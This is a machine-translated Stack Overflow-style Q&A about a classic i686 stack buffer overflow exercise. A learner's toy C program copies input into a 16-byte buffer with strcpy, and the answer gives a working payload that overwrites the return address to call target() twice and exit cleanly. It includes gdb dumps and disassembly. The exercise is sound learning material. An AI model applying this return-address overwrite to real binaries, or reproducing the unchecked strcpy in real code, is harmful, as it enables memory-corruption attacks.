利用缓冲区溢出

Chr*_*ris 12 c x86 buffer-overflow

为了我的学习,我尝试创建一个有效载荷,使其溢出缓冲区并调用一个名为"目标"的"秘密"函数

这是我用于在i686上进行测试的代码

#include "stdio.h"
#include "string.h"
void target() {
  printf("target\n");
}
void vulnerable(char* input) {
  char buffer[16];
  strcpy(buffer, input);
}
int main(int argc, char** argv) {
  if(argc == 2)
    vulnerable(argv[1]);
  else
    printf("Need an argument!");

  return 0;
}
Run Code Online (Sandbox Code Playgroud)

任务1:创建有效负载以便调用target().通过将EIP替换为目标函数的地址,这很容易做到.

这是缓冲区的外观

Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca
Run Code Online (Sandbox Code Playgroud)

我使用的有效负载是:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'
Run Code Online (Sandbox Code Playgroud)

这样可以正常工作,但会因分段错误而停止.

任务2:以不会导致分段错误的方式修改有效负载

这是我被困的地方.显然它会导致分段错误,因为我们不使用调用指令调用目标,因此没有有效的返回地址.

我试图在堆栈上添加返回地址,但这没有帮助

run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'
Run Code Online (Sandbox Code Playgroud)

也许有人可以帮我解决这个问题.可能我还要添加保存的主要EBP?

我附上了程序的objdump

0804847d <target>:
 804847d:   55                      push   %ebp
 804847e:   89 e5                   mov    %esp,%ebp
 8048480:   83 ec 18                sub    $0x18,%esp
 8048483:   c7 04 24 70 85 04 08    movl   $0x8048570,(%esp)
 804848a:   e8 c1 fe ff ff          call   8048350 <puts@plt>
 804848f:   c9                      leave  
 8048490:   c3                      ret    

08048491 <vulnerable>:
 8048491:   55                      push   %ebp
 8048492:   89 e5                   mov    %esp,%ebp
 8048494:   83 ec 28                sub    $0x28,%esp
 8048497:   8b 45 08                mov    0x8(%ebp),%eax
 804849a:   89 44 24 04             mov    %eax,0x4(%esp)
 804849e:   8d 45 e8                lea    -0x18(%ebp),%eax
 80484a1:   89 04 24                mov    %eax,(%esp)
 80484a4:   e8 97 fe ff ff          call   8048340 <strcpy@plt>
 80484a9:   c9                      leave  
 80484aa:   c3                      ret    

080484ab <main>:
 80484ab:   55                      push   %ebp
 80484ac:   89 e5                   mov    %esp,%ebp
 80484ae:   83 e4 f0                and    $0xfffffff0,%esp
 80484b1:   83 ec 10                sub    $0x10,%esp
 80484b4:   83 7d 08 02             cmpl   $0x2,0x8(%ebp)
 80484b8:   75 12                   jne    80484cc <main+0x21>
 80484ba:   8b 45 0c                mov    0xc(%ebp),%eax
 80484bd:   83 c0 04                add    $0x4,%eax
 80484c0:   8b 00                   mov    (%eax),%eax
 80484c2:   89 04 24                mov    %eax,(%esp)
 80484c5:   e8 c7 ff ff ff          call   8048491 <vulnerable>
 80484ca:   eb 0c                   jmp    80484d8 <main+0x2d>
 80484cc:   c7 04 24 77 85 04 08    movl   $0x8048577,(%esp)
 80484d3:   e8 58 fe ff ff          call   8048330 <printf@plt>
 80484d8:   b8 00 00 00 00          mov    $0x0,%eax
 80484dd:   c9                      leave  
 80484de:   c3                      ret    
 80484df:   90                      nop
Run Code Online (Sandbox Code Playgroud)

T J*_*son 3

您需要足够的数据来填充“缓冲区”所在堆栈的保留内存,然后需要更多数据来覆盖堆栈帧指针,然后用地址覆盖返回地址,然后再添加target()一个地址,target()但不在最开始处函数 - 输入它,这样旧的堆栈帧指针就不会被推入堆栈。这将导致您运行目标而不是正确返回vulnerable(),然后target()再次运行,以便您返回到target()main()退出而不会出现分段错误。

当我们第一次进入vulnerable()并将数据放入“buffer”变量时,堆栈看起来像这样:

-----------
|  24-bytes of local storage - 'buffer' lives here 
-----------
|  old stack frame pointer (from main) <-- EBP points here
-----------
|  old EIP (address in main)
-----------
|  'input' argument for 'vulnerable'
-----------
|  top of stack for main
-----------
|  ... more stack here ...
Run Code Online (Sandbox Code Playgroud)

因此,从“缓冲区”的地址开始,我们需要放入 24 字节的垃圾以通过堆栈上保留的本地存储,然后再放入 4 个字节以通过存储在堆栈上的旧堆栈帧指针,然后我们位于旧 EIP 的存储位置。这就是CPU盲目遵循的指令指针。我们喜欢他。他会帮助我们粉碎这个计划。我们用通过 gdb 反汇编命令找到的 target() 的起始地址覆盖堆栈中当前指向 main() 中的地址的旧 EIP 的值:

(gdb) disas target
Dump of assembler code for function target:
   0x08048424 <+0>:     push   %ebp
   0x08048425 <+1>:     mov    %esp,%ebp
   0x08048427 <+3>:     sub    $0x18,%esp
   0x0804842a <+6>:     movl   $0x8048554,(%esp)
   0x08048431 <+13>:    call   0x8048354 <puts@plt>
   0x08048436 <+18>:    leave
   0x08048437 <+19>:    ret
End of assembler dump.
Run Code Online (Sandbox Code Playgroud)

target()函数的地址是0x08048424。由于(至少我的系统)系统是小端字节序,我们首先输入 LSB 的值,因此 x24、x84、x04 和 x08。

但这给我们带来了一个问题,因为当vulnerable()返回时,它会将我们放入堆栈中的所有垃圾从堆栈中弹出,当我们正要在target()中处理时,我们会留下一个看起来像这样的堆栈第一次:

-----------
|  'input' argument for 'vulnerable'
-----------
|  top of stack for main
-----------
| ... more stack here ...
Run Code Online (Sandbox Code Playgroud)

因此,当 target() 想要返回时,它将无法按预期在堆栈顶部找到返回地址,因此会出现分段错误。

因此,在开始在 target() 中进行处理之前,我们希望将新的返回值强制放到堆栈顶部。但该选择什么值呢?我们不想推送 EBP,因为它包含垃圾。记住?当我们覆盖“缓冲区”时,我们将垃圾塞入其中。因此,将 target() 指令推入紧跟在

push %ebp

(在本例中为地址 0x08048425 )。

这意味着当 target() 第一次准备返回时,堆栈将如下所示:

-----------
|  address of mov %esp, %ebp instruction in target()
-----------
|  top of stack for main
-----------
|  ... more stack here ...
Run Code Online (Sandbox Code Playgroud)

因此,第一次从 target() 返回时,EIP 现在将指向 target() 中的第二条指令,这意味着我们第二次通过 target() 处理时,它具有与 main() 处理时相同的堆栈。堆栈顶部与 main() 的堆栈顶部相同。现在堆栈看起来像:

-----------
|  top of stack for main
-----------
|  ... more stack here ...
Run Code Online (Sandbox Code Playgroud)

因此,当 target() 第二次返回时,它有一个很好的堆栈可供返回,因为它使用与 main() 使用的相同堆栈,因此程序正常退出。

总而言之,就是 28 个字节,后面是 target() 中第一条指令的地址,后面是 target() 中第二条指令的地址。

sys1:/usr2/home> ./buggy AAAAAAAAAABBBBBBBBBBCCCCCCCC$'\x24\x84\x04\x08'$'\x25\x84\x04\x08'
target
target
sys1:/usr2/home>
Run Code Online (Sandbox Code Playgroud)